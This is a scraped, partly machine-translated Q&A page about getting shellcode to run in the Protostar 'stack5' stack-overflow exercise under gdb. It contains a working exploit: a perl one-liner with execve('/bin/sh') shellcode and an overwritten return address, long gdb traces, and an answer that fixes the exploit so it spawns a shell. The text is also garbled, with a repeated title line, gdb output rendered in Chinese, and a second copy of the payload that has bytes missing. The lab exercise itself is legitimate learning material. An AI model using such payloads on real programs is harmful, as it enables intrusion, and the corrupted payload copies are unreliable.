Gdb 外壳代码未正确执行
我正在努力解决这个问题。 这是一本书。 它把返回地址放在后面，我试着把它放在前面，在数组中。 我试过外壳代码，它很有效 看起来一切正常，执行跳转到外壳代码，但我在外壳代码结束后出现了一个分段错误，并且没有生成外壳。我不知道为什么，在Gdb 外壳代码未正确执行,gdb,buffer-overflow,shellcode,Gdb,Buffer Overflow,Shellcode,我正在努力解决这个问题。 这是一本书。 它把返回地址放在后面，我试着把它放在前面，在数组中。 我试过外壳代码，它很有效 看起来一切正常，执行跳转到外壳代码，但我在外壳代码结束后出现了一个分段错误，并且没有生成外壳。我不知道为什么，在gdb中，并非所有外壳代码指令都正确显示。 例如，at0xbffff690应为mov%esp，%ecx非cwtl。也许这就是问题所在？为什么会这样 编辑：由于数组地址在gdb外部启动时会略有不同，因此我们需要一个nop底座。因此，我的方法可能不起作用，因为数组大小太小
gdb0xbffff690mov%esp，%ecxcwtlgdbgdbperl -e 'print "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" . "A"x21 . "\x60\xf6\xff\xbf"' > /tmp/o2
user@protostar:/opt/protostar/bin$ gdb -q stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>: push %ebp
0x080483c5 <main+1>: mov %esp,%ebp
0x080483c7 <main+3>: and $0xfffffff0,%esp
0x080483ca <main+6>: sub $0x50,%esp
0x080483cd <main+9>: lea 0x10(%esp),%eax
0x080483d1 <main+13>: mov %eax,(%esp)
0x080483d4 <main+16>: call 0x80482e8 <gets@plt>
0x080483d9 <main+21>: leave
0x080483da <main+22>: ret
End of assembler dump.
(gdb) b *0x080483da
Breakpoint 1 at 0x80483da: file stack5/stack5.c, line 11.
(gdb) r < /tmp/o2
Starting program: /opt/protostar/bin/stack5 < /tmp/o2
Breakpoint 1, 0x080483da in main (argc=Cannot access memory at address 0x41414149
) at stack5/stack5.c:11
11 stack5/stack5.c: No such file or directory.
in stack5/stack5.c
(gdb) b *0xbffff660
Breakpoint 2 at 0xbffff660
(gdb) c
Continuing.
Breakpoint 2, 0xbffff660 in ?? ()
(gdb) display/i $pc
1: x/i $pc
0xbffff660: xor %eax,%eax
(gdb) ni
0xbffff662 in ?? ()
1: x/i $pc
0xbffff662: xor %ebx,%ebx
(gdb)
0xbffff664 in ?? ()
1: x/i $pc
0xbffff664: mov $0x6,%al
(gdb)
0xbffff666 in ?? ()
1: x/i $pc
0xbffff666: int $0x80
(gdb)
0xbffff668 in ?? ()
1: x/i $pc
0xbffff668: push %ebx
(gdb)
0xbffff669 in ?? ()
1: x/i $pc
0xbffff669: push $0x7974742f
(gdb)
0xbffff66e in ?? ()
1: x/i $pc
0xbffff66e: push $0x7665642f
(gdb)
0xbffff673 in ?? ()
1: x/i $pc
0xbffff673: mov %esp,%ebx
(gdb)
0xbffff675 in ?? ()
1: x/i $pc
0xbffff675: xor %ecx,%ecx
(gdb)
0xbffff677 in ?? ()
1: x/i $pc
0xbffff677: mov $0x2712,%cx
(gdb)
0xbffff67b in ?? ()
1: x/i $pc
0xbffff67b: mov $0x5,%al
(gdb)
0xbffff67d in ?? ()
1: x/i $pc
0xbffff67d: int $0x80
(gdb)
0xbffff67f in ?? ()
1: x/i $pc
0xbffff67f: xor %eax,%eax
(gdb)
0xbffff681 in ?? ()
1: x/i $pc
0xbffff681: push %eax
(gdb)
0xbffff682 in ?? ()
1: x/i $pc
0xbffff682: push $0x68732f2f
(gdb)
0xbffff687 in ?? ()
1: x/i $pc
0xbffff687: push $0x6e69622f
(gdb)
0xbffff68c in ?? ()
1: x/i $pc
0xbffff68c: mov %esp,%ebx
(gdb)
0xbffff68e in ?? ()
1: x/i $pc
0xbffff68e: push %eax
(gdb)
0xbffff68f in ?? ()
1: x/i $pc
0xbffff68f: push %ebx
(gdb)
0xbffff690 in ?? ()
1: x/i $pc
0xbffff690: cwtl
(gdb)
0xbffff691 in ?? ()
1: x/i $pc
0xbffff691: idiv %bh
(gdb)
0xbffff693 in ?? ()
1: x/i $pc
0xbffff693: mov $0x0,%edi
(gdb)
0xbffff698 in ?? ()
1: x/i $pc
0xbffff698: das
(gdb)
0xbffff699 in ?? ()
1: x/i $pc
0xbffff699: bound %ebp,0x6e(%ecx)
(gdb)
Program received signal SIGSEGV, Segmentation fault.
0xbffff699 in ?? ()
1: x/i $pc
0xbffff699: bound %ebp,0x6e(%ecx)
perl-e'print”\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\x50\x68//\x68/bin\x89\xe3\x53\x89\xe1\x99\xb0\x0b\xcd\x80”。“A”x21。“\x60\xf6\xff\xbf”>/tmp/o2
user@protostar：/opt/protostar/bin$gdb-q stack5
从/opt/protostar/bin/stack5读取符号…完成。
（gdb）disas main
主功能的汇编程序代码转储：
0x080483c4:推送%ebp
0x080483c5:mov%esp，%ebp
0x080483c7:和$0xfffffff0，%esp
0x080483ca:子$0x50，%esp
0x080483cd:lea 0x10（%esp），%eax
0x080483d1:mov%eax，（%esp）
0x080483d4:调用0x80482e8
0x080483d9:离开
0x080483da:ret
汇编程序转储结束。
（gdb）b*0x080483da
0x80483da处的断点1：文件stack5/stack5.c，第11行。
（gdb）r(gdb) disas
Dump of assembler code for function main:
0x0804841d <+0>: push %ebp
0x0804841e <+1>: mov %esp,%ebp
0x08048420 <+3>: and $0xfffffff0,%esp
0x08048423 <+6>: sub $0x50,%esp
0x08048426 <+9>: lea 0x10(%esp),%eax
0x0804842a <+13>: mov %eax,(%esp)
0x0804842d <+16>: call 0x80482f0 <gets@plt>
0x08048432 <+21>: leave
0x08048433 <+22>: ret
End of assembler dump.
0xffffce90 in ?? ()
1: x/23i 0xffffce90
=> 0xffffce90: xor %eax,%eax
0xffffce92: xor %ebx,%ebx
0xffffce94: mov $0x6,%al
0xffffce96: int $0x80
0xffffce98: push %ebx
0xffffce99: push $0x7974742f
0xffffce9e: push $0x7665642f
0xffffcea3: mov %esp,%ebx
0xffffcea5: xor %ecx,%ecx
0xffffcea7: mov $0x2712,%cx
0xffffceab: mov $0x5,%al
0xffffcead: int $0x80
0xffffceaf: xor %eax,%eax
0xffffceb1: push %eax
0xffffceb2: push $0x68732f2f
0xffffceb7: push $0x6e69622f
0xffffcebc: mov %esp,%ebx
0xffffcebe: push %eax
0xffffcebf: push %ebx
0xffffcec0: mov %esp,%ecx
0xffffcec2: cltd
0xffffcec3: mov $0xb,%al
0xffffcec5: int $0x80
(gdb) # I press Enter here to repeat stepi
0xffffce92 in ?? ()
1: x/23i 0xffffce90
0xffffce90: xor %eax,%eax
=> 0xffffce92: xor %ebx,%ebx
0xffffce94: mov $0x6,%al
0xffffce96: int $0x80
0xffffce98: push %ebx
0xffffce99: push $0x7974742f
0xffffce9e: push $0x7665642f
0xffffcea3: mov %esp,%ebx
0xffffcea5: xor %ecx,%ecx
0xffffcea7: mov $0x2712,%cx
0xffffceab: mov $0x5,%al
0xffffcead: int $0x80
0xffffceaf: xor %eax,%eax
0xffffceb1: push %eax
0xffffceb2: push $0x68732f2f
0xffffceb7: push $0x6e69622f
0xffffcebc: mov %esp,%ebx
0xffffcebe: push %eax
0xffffcebf: push %ebx
0xffffcec0: mov %esp,%ecx
0xffffcec2: cltd
0xffffcec3: mov $0xb,%al
0xffffcec5: int $0x80
(gdb)
0xffffce94 in ?? ()
1: x/23i 0xffffce90
0xffffce90: xor %eax,%eax
0xffffce92: xor %ebx,%ebx
=> 0xffffce94: mov $0x6,%al
0xffffce96: int $0x80
0xffffce98: push %ebx
0xffffce99: push $0x7974742f
0xffffce9e: push $0x7665642f
0xffffcea3: mov %esp,%ebx
0xffffcea5: xor %ecx,%ecx
0xffffcea7: mov $0x2712,%cx
0xffffceab: mov $0x5,%al
0xffffcead: int $0x80
0xffffceaf: xor %eax,%eax
0xffffceb1: push %eax
0xffffceb2: push $0x68732f2f
0xffffceb7: push $0x6e69622f
0xffffcebc: mov %esp,%ebx
0xffffcebe: push %eax
0xffffcebf: push %ebx
0xffffcec0: mov %esp,%ecx
0xffffcec2: cltd
0xffffcec3: mov $0xb,%al
0xffffcec5: int $0x80
(gdb)
0xffffcebestepi0xffffcebf in ?? ()
1: x/23i 0xffffce90
0xffffce90: xor %eax,%eax
0xffffce92: xor %ebx,%ebx
0xffffce94: mov $0x6,%al
0xffffce96: int $0x80
0xffffce98: push %ebx
0xffffce99: push $0x7974742f
0xffffce9e: push $0x7665642f
0xffffcea3: mov %esp,%ebx
0xffffcea5: xor %ecx,%ecx
0xffffcea7: mov $0x2712,%cx
0xffffceab: mov $0x5,%al
0xffffcead: int $0x80
0xffffceaf: xor %eax,%eax
0xffffceb1: push %eax
0xffffceb2: push $0x68732f2f
0xffffceb7: push $0x6e69622f
0xffffcebc: mov %esp,%ebx
0xffffcebe: push %eax
=> 0xffffcebf: push %ebx
0xffffcec0: mov %esp,%ecx
0xffffcec2: cltd
0xffffcec3: mov $0x0,%al
0xffffcec5: add %al,(%eax)
push0xffffcec5int80$eax将值推送到同一堆栈上
另一个步骤I
，我看到：
(gdb) stepi
0xffffcec0 in ?? ()
1: x/23i 0xffffce90
0xffffce90: xor %eax,%eax
0xffffce92: xor %ebx,%ebx
0xffffce94: mov $0x6,%al
0xffffce96: int $0x80
0xffffce98: push %ebx
0xffffce99: push $0x7974742f
0xffffce9e: push $0x7665642f
0xffffcea3: mov %esp,%ebx
0xffffcea5: xor %ecx,%ecx
0xffffcea7: mov $0x2712,%cx
0xffffceab: mov $0x5,%al
0xffffcead: int $0x80
0xffffceaf: xor %eax,%eax
0xffffceb1: push %eax
0xffffceb2: push $0x68732f2f
0xffffceb7: push $0x6e69622f
0xffffcebc: mov %esp,%ebx
0xffffcebe: push %eax
0xffffcebf: push %ebx
=> 0xffffcec0: enter $0xffce,$0xff
0xffffcec4: add %al,(%eax)
0xffffcec6: add %al,(%eax)
0xffffcec8: das
下一个stepi
导致SIGSEGV
：
(gdb) stepi
Program received signal SIGSEGV, Segmentation fault.
那么解决办法是什么呢
当我们在0xffffce90
处输入代码时，我们的堆栈指向0xffffcee0
，即仅超过外壳代码80字节。我们的外壳代码长度是54字节。因此，在我们开始破坏外壳代码之前，我们最多可以在堆栈上推送6个字
当前外壳代码推送8个单词，第7次和第8次推送会腐蚀自身
外壳代码需要弹出一些单词（例如，在0xffffcead
处的第一次系统调用后添加pop%eax
），或者在输入时使用add$0x80，%esp
扩展堆栈，以便外壳代码的结尾和堆栈顶部之间有足够的空间
我使用了后者，它起了作用：
(gdb) c
Continuing.
process 21439 is executing new program: /bin/bash
回答得很好。非常感谢。
(gdb) c
Continuing.
process 21439 is executing new program: /bin/bash